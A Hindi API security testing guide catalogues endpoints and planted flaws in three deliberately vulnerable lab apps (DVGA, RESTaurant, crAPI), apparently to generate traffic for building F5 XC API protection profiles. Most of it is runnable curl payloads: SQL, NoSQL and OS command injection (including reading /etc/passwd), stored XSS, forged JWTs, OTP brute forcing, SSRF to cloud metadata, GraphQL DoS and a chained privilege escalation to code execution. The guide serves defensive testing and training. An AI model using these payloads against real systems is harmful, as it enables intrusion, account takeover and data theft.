- होम
- ऑरिजिन सर्वर
- API परीक्षण गाइड
API परीक्षण गाइड
अवलोकन
Section titled “अवलोकन”यह गाइड तीन API सुरक्षा परीक्षण अनुप्रयोगों में प्रत्येक API एंडपॉइंट, जानबूझकर रखी गई भेद्यता, और अटैक पेलोड को सूचीबद्ध करता है। इसका उपयोग F5 XC API सुरक्षा प्रोफ़ाइल विकास के लिए ट्रैफ़िक जनरेशन पैटर्न बनाने हेतु करें।
| अनुप्रयोग | प्रोटोकॉल | पथ | पोर्ट | प्रमाणीकरण | भेद्यताएँ |
|---|---|---|---|---|---|
| DVGA | GraphQL | /dvga/ | 80 | कोई नहीं (admin: admin/password) | 25 परिदृश्य |
| RESTaurant | REST (FastAPI) | /restaurant/ | 80 | JWT (form-encoded) | 7 OWASP API 2023 श्रेणियाँ |
| crAPI | REST (microservices) | / | 8888 | JWT (Bearer) | 18+ चुनौतियाँ |
पर्यावरण चर
Section titled “पर्यावरण चर”ORIGIN="http://<ORIGIN_IP>"CRAPI="http://<ORIGIN_IP>:8888"DVGA (Damn Vulnerable GraphQL Application)
Section titled “DVGA (Damn Vulnerable GraphQL Application)”GraphQL एंडपॉइंट: POST ${ORIGIN}/dvga/graphql
GraphiQL IDE: GET ${ORIGIN}/dvga/
एडमिन क्रेडेंशियल: admin / password
सभी DVGA इंटरैक्शन एक ही एंडपॉइंट (/dvga/graphql) का उपयोग करते हैं, जिसमें JSON {"query":"..."} पेलोड वाले POST अनुरोध होते हैं।
स्कीमा अवलोकन
Section titled “स्कीमा अवलोकन”Queries: pastes, paste, me, systemHealth, systemUpdate, systemDiagnosticsMutations: createPaste, importPaste, uploadPasteTypes: PasteObject (id, title, content, public, owner, ipAddr, userAgent) OwnerObject (id, username, pastes) ← circular referenceएंडपॉइंट संदर्भ
Section titled “एंडपॉइंट संदर्भ”| ऑपरेशन | प्रकार | प्रमाणीकरण | उद्देश्य |
|---|---|---|---|
pastes(public, filter, limit) | Query | नहीं | पेस्ट सूचीबद्ध करें (filter के माध्यम से SQL इंजेक्शन) |
paste(id) | Query | नहीं | एकल पेस्ट प्राप्त करें |
me(token) | Query | नहीं | JWT द्वारा उपयोगकर्ता प्राप्त करें (जालसाजी के लिए संवेदनशील) |
systemHealth | Query | नहीं | स्वास्थ्य जाँच |
systemUpdate | Query | नहीं | धीमी क्वेरी (~82s, DoS वेक्टर) |
systemDiagnostics(cmd) | Query | admin/password | श्वेतसूचीबद्ध OS कमांड निष्पादित करें |
createPaste(title, content, public) | Mutation | नहीं | पेस्ट बनाएं (content के माध्यम से XSS) |
importPaste(host, port, path, scheme) | Mutation | नहीं | रिमोट पेस्ट आयात करें (SSRF, कमांड इंजेक्शन) |
uploadPaste(filename, content) | Mutation | नहीं | पेस्ट अपलोड करें (पथ अनुक्रमण) |
भेद्यता कैटलॉग
Section titled “भेद्यता कैटलॉग”1. सेवा से इनकार / Denial of Service (6 परिदृश्य)
Section titled “1. सेवा से इनकार / Denial of Service (6 परिदृश्य)”बैच क्वेरी अटैक:
curl -X POST ${ORIGIN}/dvga/graphql \ -H "Content-Type: application/json" \ -d '[{"query":"{systemUpdate}"},{"query":"{systemUpdate}"},{"query":"{systemUpdate}"}]'गहरा पुनरावर्तन (circular Owner/Paste संदर्भ):
curl -X POST ${ORIGIN}/dvga/graphql \ -H "Content-Type: application/json" \ -d '{"query":"{pastes{owner{pastes{owner{pastes{owner{pastes{owner{pastes{title}}}}}}}}}}"}'संसाधन-गहन क्वेरी (~82 सेकंड प्रतिक्रिया):
curl -X POST ${ORIGIN}/dvga/graphql \ -H "Content-Type: application/json" \ -d '{"query":"{systemUpdate}"}'फ़ील्ड दोहराव (500+ बार फ़ील्ड दोहराएँ):
curl -X POST ${ORIGIN}/dvga/graphql \ -H "Content-Type: application/json" \ -d '{"query":"{pastes{title title title title title title title title title title title title title title title title title title title title}}"}'एलियास-आधारित अटैक (1000 एलियास्ड ऑपरेशन):
curl -X POST ${ORIGIN}/dvga/graphql \ -H "Content-Type: application/json" \ -d '{"query":"{q0:systemUpdate q1:systemUpdate q2:systemUpdate q3:systemUpdate q4:systemUpdate q5:systemUpdate q6:systemUpdate q7:systemUpdate q8:systemUpdate q9:systemUpdate}"}'2. सूचना प्रकटीकरण (5 परिदृश्य)
Section titled “2. सूचना प्रकटीकरण (5 परिदृश्य)”इंट्रोस्पेक्शन (पूर्ण स्कीमा गणना):
curl -X POST ${ORIGIN}/dvga/graphql \ -H "Content-Type: application/json" \ -d '{"query":"{__schema{types{name fields{name args{name type{name}}}}}}"}'फ़ील्ड सुझाव (टाइपो से वैध फ़ील्ड उजागर होती हैं):
curl -X POST ${ORIGIN}/dvga/graphql \ -H "Content-Type: application/json" \ -d '{"query":"{pastes{titl}}"}'importPaste के माध्यम से SSRF (आंतरिक सेवाओं की जाँच):
curl -X POST ${ORIGIN}/dvga/graphql \ -H "Content-Type: application/json" \ -d '{"query":"mutation{importPaste(host:\"localhost\",port:57575,path:\"/\",scheme:\"http\"){result}}"}'3. इंजेक्शन (4 परिदृश्य)
Section titled “3. इंजेक्शन (4 परिदृश्य)”filter पैरामीटर के माध्यम से SQL इंजेक्शन:
curl -X POST ${ORIGIN}/dvga/graphql \ -H "Content-Type: application/json" \ -d '{"query":"{pastes(filter:\"aaa\\u0027 OR 1=1--\"){id title content public}}"}'createPaste के माध्यम से Stored XSS:
curl -X POST ${ORIGIN}/dvga/graphql \ -H "Content-Type: application/json" \ -d '{"query":"mutation{createPaste(title:\"<img src=x onerror=alert(1)>\",content:\"xss\",public:true){paste{id title}}}"}'लॉग इंजेक्शन (ऑपरेशन नाम स्पूफिंग):
curl -X POST ${ORIGIN}/dvga/graphql \ -H "Content-Type: application/json" \ -d '{"query":"mutation getPaste{createPaste(title:\"injected\",content:\"hidden mutation\",public:true){paste{id}}}"}'4. कोड निष्पादन (3 परिदृश्य)
Section titled “4. कोड निष्पादन (3 परिदृश्य)”importPaste के माध्यम से OS कमांड इंजेक्शन:
curl -X POST ${ORIGIN}/dvga/graphql \ -H "Content-Type: application/json" \ -d '{"query":"mutation{importPaste(host:\"localhost\",port:80,path:\"/ ; uname -a\",scheme:\"http\"){result}}"}'systemDiagnostics के माध्यम से OS कमांड (एडमिन प्रमाणीकरण आवश्यक):
curl -X POST ${ORIGIN}/dvga/graphql \ -H "Content-Type: application/json" \ -d '{"query":"{systemDiagnostics(cmd:\"id\")}"}'5. प्राधिकरण बाईपास (3 परिदृश्य)
Section titled “5. प्राधिकरण बाईपास (3 परिदृश्य)”JWT टोकन जालसाजी (अहस्ताक्षरित टोकन स्वीकार करता है):
curl -X POST ${ORIGIN}/dvga/graphql \ -H "Content-Type: application/json" \ -d '{"query":"{me(token:\"eyJhbGciOiJub25lIn0.eyJ1c2VybmFtZSI6ImFkbWluIn0.\"){username}}"}'uploadPaste के माध्यम से मनमाना फ़ाइल लेखन (पथ अनुक्रमण):
curl -X POST ${ORIGIN}/dvga/graphql \ -H "Content-Type: application/json" \ -d '{"query":"mutation{uploadPaste(filename:\"../../../tmp/test.txt\",content:\"path traversal test\"){result}}"}'RESTaurant API (Damn Vulnerable RESTaurant)
Section titled “RESTaurant API (Damn Vulnerable RESTaurant)”Swagger UI: ${ORIGIN}/restaurant/docs
OpenAPI Spec: ${ORIGIN}/restaurant/openapi.json
प्रमाणीकरण: /restaurant/token पर form-encoded POST के माध्यम से JWT
भूमिकाएँ: Customer (डिफ़ॉल्ट), Employee, Chef (admin)
सेटअप: पंजीकरण और प्रमाणीकरण
Section titled “सेटअप: पंजीकरण और प्रमाणीकरण”# एक परीक्षण उपयोगकर्ता पंजीकृत करेंcurl -X POST ${ORIGIN}/restaurant/register \ -H "Content-Type: application/json" \ -d '{"username":"attacker","password":"Attack123","first_name":"Test","last_name":"User","phone_number":"5551234567"}'
# JWT टोकन प्राप्त करें (ध्यान दें: form-encoded, JSON नहीं)TOKEN=$(curl -sf -X POST ${ORIGIN}/restaurant/token \ -H "Content-Type: application/x-www-form-urlencoded" \ -d "username=attacker&password=Attack123" | python3 -c "import sys,json; print(json.load(sys.stdin)['access_token'])")
echo "Bearer token: ${TOKEN}"एंडपॉइंट संदर्भ
Section titled “एंडपॉइंट संदर्भ”| एंडपॉइंट | विधि | प्रमाणीकरण | भूमिका | भेद्यता |
|---|---|---|---|---|
/restaurant/register | POST | नहीं | — | उपयोगकर्ता निर्माण |
/restaurant/token | POST | नहीं | — | कमज़ोर secret के साथ JWT (97952) |
/restaurant/healthcheck | GET | नहीं | — | स्वास्थ्य जाँच |
/restaurant/profile | GET | हाँ | कोई भी | उपयोगकर्ता प्रोफ़ाइल |
/restaurant/profile | PUT | हाँ | कोई भी | BOLA (अन्य उपयोगकर्ताओं को संशोधित करें) |
/restaurant/profile | PATCH | हाँ | कोई भी | BOPLA (mass assign role) |
/restaurant/users/update_role | PUT | हाँ | कोई भी | BFLA (भूमिका उन्नयन) |
/restaurant/menu | GET | हाँ | कोई भी | मेनू आइटम सूचीबद्ध करें |
/restaurant/menu | PUT | हाँ | Employee+ | मेनू बनाएं (SSRF image के माध्यम से) |
/restaurant/menu/{item_id} | PUT | हाँ | Employee+ | मेनू अपडेट करें (SSRF image के माध्यम से) |
/restaurant/menu/{item_id} | DELETE | हाँ | कोई भी | BFLA (कोई भी उपयोगकर्ता हटा सकता है) |
/restaurant/orders | GET | हाँ | कोई भी | BOLA (सभी ऑर्डर देखें) |
/restaurant/orders | POST | हाँ | कोई भी | ऑर्डर बनाएं |
/restaurant/orders/{order_id} | GET | हाँ | कोई भी | BOLA (अन्य ऑर्डर तक पहुँच) |
/restaurant/orders/status/{order_id} | GET | हाँ | कोई भी | ऑर्डर स्थिति |
/restaurant/admin/stats/disk | GET | हाँ | Chef | कमांड इंजेक्शन |
/restaurant/reset-password | POST | नहीं | — | पासवर्ड रीसेट अनुरोध |
/restaurant/reset-password/new-password | POST | नहीं | — | नया पासवर्ड सेट करें |
/restaurant/referral-code | GET | हाँ | कोई भी | रेफरल कोड प्राप्त करें |
/restaurant/apply-referral | POST | हाँ | कोई भी | रेफरल लागू करें |
/restaurant/discount-coupons | GET | हाँ | कोई भी | कूपन सूचीबद्ध करें |
भेद्यता कैटलॉग
Section titled “भेद्यता कैटलॉग”API1:2023 — Broken Object Level Authorization (BOLA)
Section titled “API1:2023 — Broken Object Level Authorization (BOLA)”किसी अन्य उपयोगकर्ता की प्रोफ़ाइल संशोधित करें:
curl -X PUT ${ORIGIN}/restaurant/profile \ -H "Authorization: Bearer ${TOKEN}" \ -H "Content-Type: application/json" \ -d '{"username":"chef","phone_number":"hacked","first_name":"Pwned","last_name":"User"}'अन्य उपयोगकर्ताओं के ऑर्डर तक पहुँच (offset गणना करें):
for i in 1 2 3 4 5; do curl -sf ${ORIGIN}/restaurant/orders/${i} \ -H "Authorization: Bearer ${TOKEN}" 2>&1 echo ""doneAPI2:2023 — Broken Authentication
Section titled “API2:2023 — Broken Authentication”JWT कमज़ोर secret ब्रूट-फ़ोर्स (secret 6 अंक है: 97952):
# jwt.io पर टोकन डीकोड और जाली बनाएं# Secret: 97952 (hashcat -a 3 -m 16500 token '?d?d?d?d?d?d' से ब्रूट-फ़ोर्स योग्य)
# Chef टोकन जाली बनाएं:# Header: {"alg":"HS256","typ":"JWT"}# Payload: {"sub":"chef","exp":9999999999}# Secret से साइन करें: 97952API3:2023 — Broken Object Property Level Authorization (BOPLA)
Section titled “API3:2023 — Broken Object Property Level Authorization (BOPLA)”Customer से Chef तक भूमिका mass-assign करें:
curl -X PATCH ${ORIGIN}/restaurant/profile \ -H "Authorization: Bearer ${TOKEN}" \ -H "Content-Type: application/json" \ -d '{"role":"Chef"}'उन्नयन पथ: Customer → Employee → Chef:
# चरण 1: Employee तक उन्नयनcurl -X PATCH ${ORIGIN}/restaurant/profile \ -H "Authorization: Bearer ${TOKEN}" \ -H "Content-Type: application/json" \ -d '{"role":"Employee"}'
# चरण 2: Chef तक उन्नयनcurl -X PATCH ${ORIGIN}/restaurant/profile \ -H "Authorization: Bearer ${TOKEN}" \ -H "Content-Type: application/json" \ -d '{"role":"Chef"}'API5:2023 — Broken Function Level Authorization (BFLA)
Section titled “API5:2023 — Broken Function Level Authorization (BFLA)”Customer के रूप में मेनू आइटम हटाएं (Employee+ आवश्यक होना चाहिए):
curl -X DELETE ${ORIGIN}/restaurant/menu/1 \ -H "Authorization: Bearer ${TOKEN}"किसी अन्य उपयोगकर्ता की भूमिका बदलें:
curl -X PUT ${ORIGIN}/restaurant/users/update_role \ -H "Authorization: Bearer ${TOKEN}" \ -H "Content-Type: application/json" \ -d '{"username":"chef","role":"Customer"}'API7:2023 — Server-Side Request Forgery (SSRF)
Section titled “API7:2023 — Server-Side Request Forgery (SSRF)”मेनू image_url के माध्यम से आंतरिक एंडपॉइंट की जाँच (Employee भूमिका आवश्यक):
# पहले BOPLA के माध्यम से Employee तक उन्नयन करें, फिर:curl -X PUT ${ORIGIN}/restaurant/menu \ -H "Authorization: Bearer ${TOKEN}" \ -H "Content-Type: application/json" \ -d '{"name":"SSRF Test","price":1.00,"category":"Test","image_url":"http://127.0.0.1:8091/admin/reset-chef-password"}'API8:2023 — Injection
Section titled “API8:2023 — Injection”disk stats के माध्यम से OS कमांड इंजेक्शन (Chef भूमिका आवश्यक):
# Chef तक उन्नयन के बाद:curl -sf "${ORIGIN}/restaurant/admin/stats/disk?parameters=;whoami" \ -H "Authorization: Bearer ${TOKEN}"
curl -sf "${ORIGIN}/restaurant/admin/stats/disk?parameters=;cat%20/etc/passwd" \ -H "Authorization: Bearer ${TOKEN}"पूर्ण अटैक चेन: Customer से Root तक
Section titled “पूर्ण अटैक चेन: Customer से Root तक”# 1. पंजीकरण करेंcurl -X POST ${ORIGIN}/restaurant/register \ -H "Content-Type: application/json" \ -d '{"username":"hacker","password":"Hack123","first_name":"H","last_name":"X","phone_number":"0"}'
# 2. टोकन प्राप्त करेंTOKEN=$(curl -sf -X POST ${ORIGIN}/restaurant/token \ -d "username=hacker&password=Hack123" | python3 -c "import sys,json;print(json.load(sys.stdin)['access_token'])")
# 3. Chef तक उन्नयन (BOPLA)curl -X PATCH ${ORIGIN}/restaurant/profile \ -H "Authorization: Bearer ${TOKEN}" \ -H "Content-Type: application/json" \ -d '{"role":"Chef"}'
# 4. Chef-स्तर का टोकन पाने के लिए पुनः प्रमाणीकरण करेंTOKEN=$(curl -sf -X POST ${ORIGIN}/restaurant/token \ -d "username=hacker&password=Hack123" | python3 -c "import sys,json;print(json.load(sys.stdin)['access_token'])")
# 5. कमांड इंजेक्शन (RCE)curl -sf "${ORIGIN}/restaurant/admin/stats/disk?parameters=;id" \ -H "Authorization: Bearer ${TOKEN}"crAPI (OWASP Completely Ridiculous API)
Section titled “crAPI (OWASP Completely Ridiculous API)”वेब UI: ${CRAPI}/
MailHog: ${CRAPI}/mailhog/ (सत्यापन के लिए ईमेल कैप्चर)
प्रमाणीकरण: JWT Bearer टोकन (RS256, एल्गोरिदम भ्रम के लिए संवेदनशील)
आर्किटेक्चर: 7 माइक्रोसर्विस (identity, community, workshop, postgres, mongo, mailhog, web)
सेटअप: पंजीकरण, ईमेल सत्यापन, लॉगिन
Section titled “सेटअप: पंजीकरण, ईमेल सत्यापन, लॉगिन”# 1. पंजीकरण करेंcurl -X POST ${CRAPI}/identity/api/auth/signup \ -H "Content-Type: application/json" \ -d '{"name":"Test User","email":"tester@example.com","number":"5551234567","password":"TestPass123"}'
# 2. सत्यापन ईमेल के लिए MailHog जाँचें# ${CRAPI}/mailhog/ ब्राउज़ करें या MailHog API का उपयोग करें:curl -sf ${CRAPI}/mailhog/api/v2/messages | python3 -c "import sys,jsonmsgs = json.load(sys.stdin)['items']for m in msgs: print(f\"To: {m['Raw']['To'][0]}, Subject: {m['Content']['Headers']['Subject'][0]}\")"
# 3. लॉगिन करें और JWT टोकन प्राप्त करेंTOKEN=$(curl -sf -X POST ${CRAPI}/identity/api/auth/login \ -H "Content-Type: application/json" \ -d '{"email":"tester@example.com","password":"TestPass123"}' | python3 -c "import sys,json;print(json.load(sys.stdin)['token'])")
echo "Bearer token: ${TOKEN}"एंडपॉइंट संदर्भ
Section titled “एंडपॉइंट संदर्भ”Identity सेवा
Section titled “Identity सेवा”| एंडपॉइंट | विधि | प्रमाणीकरण | भेद्यता |
|---|---|---|---|
/identity/api/auth/signup | POST | नहीं | पंजीकरण |
/identity/api/auth/login | POST | नहीं | JWT टोकन (एल्गोरिदम भ्रम) |
/identity/api/auth/forget-password | POST | नहीं | OTP अनुरोध |
/identity/api/auth/v2/check-otp | POST | नहीं | दर सीमा नहीं (4-अंकीय OTP ब्रूट-फ़ोर्स) |
/identity/api/auth/v3/check-otp | POST | नहीं | दर-सीमित संस्करण |
/identity/api/v2/user/dashboard | GET | हाँ | उपयोगकर्ता प्रोफ़ाइल |
/identity/api/v2/user/change-email | PUT | हाँ | ईमेल परिवर्तन |
/identity/api/v2/vehicle/vehicles | GET | हाँ | वाहन सूचीबद्ध करें (UUID लीक करता है) |
/identity/api/v2/vehicle/{uuid}/location | GET | हाँ | BOLA (किसी भी उपयोगकर्ता का वाहन) |
/identity/api/v2/user/videos | POST | हाँ | वीडियो अपलोड |
/identity/api/v2/user/videos/{id} | GET | हाँ | डेटा एक्सपोज़र (conversion_params) |
/identity/api/v2/user/videos/{id} | PUT | हाँ | Mass assignment (कमांड इंजेक्शन) |
/identity/api/v2/admin/videos/{id} | DELETE | हाँ | BFLA (कोई एडमिन जाँच नहीं) |
Community सेवा
Section titled “Community सेवा”| एंडपॉइंट | विधि | प्रमाणीकरण | भेद्यता |
|---|---|---|---|
/community/api/v2/community/posts | GET | हाँ | डेटा एक्सपोज़र (vehicle_id, email लीक करता है) |
/community/api/v2/community/posts | POST | हाँ | ब्लॉग पोस्ट बनाएं |
/community/api/v2/community/posts/{id}/comments | POST | हाँ | टिप्पणी जोड़ें |
/community/api/v2/coupon/validate-coupon | POST | हाँ | NoSQL इंजेक्शन |
Workshop सेवा
Section titled “Workshop सेवा”| एंडपॉइंट | विधि | प्रमाणीकरण | भेद्यता |
|---|---|---|---|
/workshop/api/mechanic | GET | हाँ | डेटा एक्सपोज़र (मैकेनिक ईमेल) |
/workshop/api/mechanic/mechanic_report | GET | नहीं | BOLA (कोई auth नहीं, अनुक्रमिक ID) |
/workshop/api/merchant/contact_mechanic | POST | हाँ | SSRF + DoS |
/workshop/api/shop/products | GET | हाँ | उत्पाद कैटलॉग |
/workshop/api/shop/orders/ | POST | हाँ | ऑर्डर बनाएं |
/workshop/api/shop/orders/all | GET | हाँ | ऑर्डर सूचीबद्ध करें |
/workshop/api/shop/orders/{id} | GET | नहीं | BOLA (कोई auth आवश्यक नहीं) |
/workshop/api/shop/orders/{id} | PUT | हाँ | Mass assignment (status, quantity) |
/workshop/api/shop/apply_coupon | POST | हाँ | SQL इंजेक्शन |
चुनौती कैटलॉग
Section titled “चुनौती कैटलॉग”चुनौती 1 — BOLA: किसी अन्य उपयोगकर्ता के वाहन का स्थान प्राप्त करें
Section titled “चुनौती 1 — BOLA: किसी अन्य उपयोगकर्ता के वाहन का स्थान प्राप्त करें”# पहले अपना वाहन UUID प्राप्त करेंcurl -sf ${CRAPI}/identity/api/v2/vehicle/vehicles \ -H "Authorization: Bearer ${TOKEN}"
# किसी अन्य उपयोगकर्ता के वाहन तक पहुँच (UUID बदलें)curl -sf ${CRAPI}/identity/api/v2/vehicle/VICTIM-UUID-HERE/location \ -H "Authorization: Bearer ${TOKEN}"चुनौती 2 — BOLA: मैकेनिक रिपोर्ट तक पहुँच (बिना Auth के)
Section titled “चुनौती 2 — BOLA: मैकेनिक रिपोर्ट तक पहुँच (बिना Auth के)”# अनुक्रमिक ID गणना — कोई टोकन आवश्यक नहींfor i in 1 2 3 4 5; do echo "Report $i:" curl -sf "${CRAPI}/workshop/api/mechanic/mechanic_report?report_id=${i}" echo ""doneचुनौती 3 — Broken Auth: पासवर्ड रीसेट OTP ब्रूट-फ़ोर्स
Section titled “चुनौती 3 — Broken Auth: पासवर्ड रीसेट OTP ब्रूट-फ़ोर्स”# पीड़ित के लिए OTP अनुरोध करेंcurl -X POST ${CRAPI}/identity/api/auth/forget-password \ -H "Content-Type: application/json" \ -d '{"email":"victim@example.com"}'
# 4-अंकीय OTP ब्रूट-फ़ोर्स (v2 में कोई दर सीमा नहीं)for otp in $(seq -w 0000 9999); do RESULT=$(curl -sf -X POST ${CRAPI}/identity/api/auth/v2/check-otp \ -H "Content-Type: application/json" \ -d "{\"email\":\"victim@example.com\",\"otp\":\"${otp}\"}" 2>&1) echo "$otp: $RESULT" | grep -v "Invalid OTP" && breakdoneचुनौती 4 — डेटा एक्सपोज़र: मैकेनिक ईमेल लीक करें
Section titled “चुनौती 4 — डेटा एक्सपोज़र: मैकेनिक ईमेल लीक करें”curl -sf ${CRAPI}/workshop/api/mechanic \ -H "Authorization: Bearer ${TOKEN}" | python3 -m json.toolचुनौती 5 — डेटा एक्सपोज़र: आंतरिक वीडियो रूपांतरण पैरामीटर
Section titled “चुनौती 5 — डेटा एक्सपोज़र: आंतरिक वीडियो रूपांतरण पैरामीटर”# एक वीडियो अपलोड करें, फिर प्रतिक्रिया की जाँच करेंcurl -sf ${CRAPI}/identity/api/v2/user/videos \ -H "Authorization: Bearer ${TOKEN}" | python3 -m json.tool# प्रतिक्रिया में conversion_params फ़ील्ड देखेंचुनौती 6 — DoS: Contact Mechanic के माध्यम से Layer 7
Section titled “चुनौती 6 — DoS: Contact Mechanic के माध्यम से Layer 7”curl -X POST ${CRAPI}/workshop/api/merchant/contact_mechanic \ -H "Authorization: Bearer ${TOKEN}" \ -H "Content-Type: application/json" \ -d '{ "mechanic_code":"MECH001", "problem_details":"Engine issue", "vin":"VEHICLE_VIN", "mechanic_api":"http://localhost:8080/api", "repeat_request_if_failed":true, "number_of_repeats":100 }'चुनौती 7 — BFLA: एडमिन एंडपॉइंट के माध्यम से वीडियो हटाएं
Section titled “चुनौती 7 — BFLA: एडमिन एंडपॉइंट के माध्यम से वीडियो हटाएं”# सामान्य उपयोगकर्ता एडमिन एंडपॉइंट तक पहुँच सकता हैcurl -X DELETE ${CRAPI}/identity/api/v2/admin/videos/VIDEO_ID_HERE \ -H "Authorization: Bearer ${TOKEN}"चुनौतियाँ 8 और 9 — Mass Assignment: ऑर्डर हेरफेर के माध्यम से मुफ़्त आइटम
Section titled “चुनौतियाँ 8 और 9 — Mass Assignment: ऑर्डर हेरफेर के माध्यम से मुफ़्त आइटम”# GET को PUT में बदलें, status और quantity संशोधित करेंcurl -X PUT ${CRAPI}/workshop/api/shop/orders/1 \ -H "Authorization: Bearer ${TOKEN}" \ -H "Content-Type: application/json" \ -d '{"status":"returned","quantity":100}'चुनौती 10 — वीडियो रूपांतरण पैरामीटर के माध्यम से कमांड इंजेक्शन
Section titled “चुनौती 10 — वीडियो रूपांतरण पैरामीटर के माध्यम से कमांड इंजेक्शन”curl -X PUT ${CRAPI}/identity/api/v2/user/videos/VIDEO_ID \ -H "Authorization: Bearer ${TOKEN}" \ -H "Content-Type: application/json" \ -d '{"conversion_params":"-v codec h264; cat /etc/passwd"}'चुनौती 11 — Contact Mechanic के माध्यम से SSRF
Section titled “चुनौती 11 — Contact Mechanic के माध्यम से SSRF”curl -X POST ${CRAPI}/workshop/api/merchant/contact_mechanic \ -H "Authorization: Bearer ${TOKEN}" \ -H "Content-Type: application/json" \ -d '{ "mechanic_code":"MECH001", "problem_details":"test", "vin":"VIN123", "mechanic_api":"http://169.254.169.254/latest/meta-data/", "repeat_request_if_failed":false, "number_of_repeats":0 }'चुनौती 12 — NoSQL इंजेक्शन: कूपन कोड निकालें
Section titled “चुनौती 12 — NoSQL इंजेक्शन: कूपन कोड निकालें”curl -X POST ${CRAPI}/community/api/v2/coupon/validate-coupon \ -H "Authorization: Bearer ${TOKEN}" \ -H "Content-Type: application/json" \ -d '{"coupon_code":{"$ne":1}}'चुनौती 13 — SQL इंजेक्शन: कूपन एकाधिक बार रिडीम करें
Section titled “चुनौती 13 — SQL इंजेक्शन: कूपन एकाधिक बार रिडीम करें”curl -X POST ${CRAPI}/workshop/api/shop/apply_coupon \ -H "Authorization: Bearer ${TOKEN}" \ -H "Content-Type: application/json" \ -d "{\"coupon_code\":\"TRAC075' OR '1'='1\"}"चुनौती 14 — बिना प्रमाणीकरण के ऑर्डर तक पहुँच
Section titled “चुनौती 14 — बिना प्रमाणीकरण के ऑर्डर तक पहुँच”# कोई Authorization हेडर नहीं — फिर भी डेटा लौटाता हैfor i in 1 2 3 4 5; do curl -sf ${CRAPI}/workshop/api/shop/orders/${i} echo ""doneचुनौती 15 — JWT एल्गोरिदम भ्रम
Section titled “चुनौती 15 — JWT एल्गोरिदम भ्रम”# "none" एल्गोरिदम के साथ JWT जाली बनाएं (कोई हस्ताक्षर सत्यापन नहीं):# 1. header सेट करें: {"alg":"none","typ":"JWT"} और base64url-encode करें# 2. payload सेट करें: {"email":"admin@example.com","role":"admin"} और base64url-encode करें# 3. डॉट्स से जोड़ें, हस्ताक्षर खाली छोड़ें: <header>.<payload>.HEADER=$(echo -n '{"alg":"none","typ":"JWT"}' | base64 -w0 | tr '+/' '-_' | tr -d '=')PAYLOAD=$(echo -n '{"email":"admin@example.com","role":"admin"}' | base64 -w0 | tr '+/' '-_' | tr -d '=')FORGED="${HEADER}.${PAYLOAD}."
curl -sf ${CRAPI}/identity/api/v2/user/dashboard \ -H "Authorization: Bearer ${FORGED}"OWASP API सुरक्षा शीर्ष 10 क्रॉस-संदर्भ
Section titled “OWASP API सुरक्षा शीर्ष 10 क्रॉस-संदर्भ”| OWASP श्रेणी | DVGA | RESTaurant | crAPI |
|---|---|---|---|
| API1: BOLA | — | PUT /profile, GET /orders/{id} | वाहन स्थान, मैकेनिक रिपोर्ट, ऑर्डर |
| API2: Broken Auth | JWT जालसाजी (me query) | JWT कमज़ोर secret (97952) | OTP ब्रूट-फ़ोर्स (v2), JWT एल्गोरिदम भ्रम |
| API3: BOPLA | — | PATCH /profile (भूमिका उन्नयन) | Video conversion_params, मैकेनिक ईमेल एक्सपोज़र |
| API4: Resource Consumption | Batch, recursion, alias, field duplication DoS | प्रतिक्रिया लंबाई के माध्यम से उपयोगकर्ता गणना | contact_mechanic repeat_request DoS |
| API5: BFLA | — | DELETE /menu, PUT /users/update_role | सामान्य उपयोगकर्ता के रूप में DELETE /admin/videos |
| API6: Mass Assignment | — | PUT /orders (status, quantity) | ऑर्डर status/quantity, video conversion_params |
| API7: SSRF | importPaste mutation | PUT /menu image_url | contact_mechanic mechanic_api URL |
| API8: Injection | SQL (filter), XSS (content), OS cmd (importPaste, systemDiagnostics) | OS cmd (/admin/stats/disk?parameters=) | NoSQL (validate-coupon), SQL (apply_coupon) |
| API9: Improper Assets | — | — | पुराना /auth/v2/check-otp (कोई दर सीमा नहीं) |
| API10: Unsafe Consumption | — | — | (SSRF के माध्यम से अप्रत्यक्ष) |
| GraphQL-specific | Introspection, batching, recursion, aliases, field duplication, circular fragments | — | — |
ट्रैफ़िक जनरेशन पैटर्न
Section titled “ट्रैफ़िक जनरेशन पैटर्न”चरण 1: बेसलाइन (Happy Path)
Section titled “चरण 1: बेसलाइन (Happy Path)”अटैक पैटर्न परीक्षण से पहले सामान्य API व्यवहार स्थापित करने के लिए वैध ट्रैफ़िक उत्पन्न करें।
DVGA बेसलाइन:
# सामान्य क्वेरीcurl -X POST ${ORIGIN}/dvga/graphql -H "Content-Type: application/json" -d '{"query":"{pastes{id title}}"}'curl -X POST ${ORIGIN}/dvga/graphql -H "Content-Type: application/json" -d '{"query":"mutation{createPaste(title:\"note\",content:\"hello\",public:true){paste{id}}}"}'RESTaurant बेसलाइन:
curl -sf ${ORIGIN}/restaurant/menu -H "Authorization: Bearer ${TOKEN}"curl -sf ${ORIGIN}/restaurant/profile -H "Authorization: Bearer ${TOKEN}"curl -X POST ${ORIGIN}/restaurant/orders -H "Authorization: Bearer ${TOKEN}" -H "Content-Type: application/json" -d '{"menu_item_id":1,"quantity":1}'crAPI बेसलाइन:
curl -sf ${CRAPI}/identity/api/v2/user/dashboard -H "Authorization: Bearer ${TOKEN}"curl -sf ${CRAPI}/workshop/api/shop/products -H "Authorization: Bearer ${TOKEN}"curl -sf ${CRAPI}/community/api/v2/community/posts -H "Authorization: Bearer ${TOKEN}"चरण 2: OWASP श्रेणी के अनुसार अटैक ट्रैफ़िक
Section titled “चरण 2: OWASP श्रेणी के अनुसार अटैक ट्रैफ़िक”BOLA परीक्षण: अनुक्रमिक ID गणना करें, अनुरोधों में उपयोगकर्ता पहचानकर्ता बदलें, स्वामित्व के बिना संसाधनों तक पहुँचें।
Injection परीक्षण: filter/coupon पैरामीटर में SQL पेलोड, GraphQL क्वेरी इंजेक्शन, पैरामीटर फ़ील्ड के माध्यम से OS कमांड इंजेक्शन।
Auth bypass परीक्षण: JWT टोकन जाली बनाएं, OTP ब्रूट-फ़ोर्स करें, पुराने API संस्करण उपयोग करें, एल्गोरिदम भ्रम।
SSRF परीक्षण: importPaste, image_url, और mechanic_api पैरामीटर में आंतरिक URL।
DoS परीक्षण: GraphQL batch/recursion/alias अटैक, उच्च गिनती के साथ repeat_request_if_failed।
चरण 3: स्टेटफुल अटैक चेन
Section titled “चरण 3: स्टेटफुल अटैक चेन”कुछ अटैक के लिए स्थिति के साथ बहु-चरण अनुक्रम आवश्यक हैं:
- RESTaurant उन्नयन चेन: पंजीकरण → टोकन → PATCH role to Chef → पुनः-auth → कमांड इंजेक्शन
- crAPI पूर्ण प्रवाह: Signup → ईमेल सत्यापन (MailHog) → Login → वाहन जोड़ें → Contact mechanic (SSRF) → ऑर्डर हेरफेर
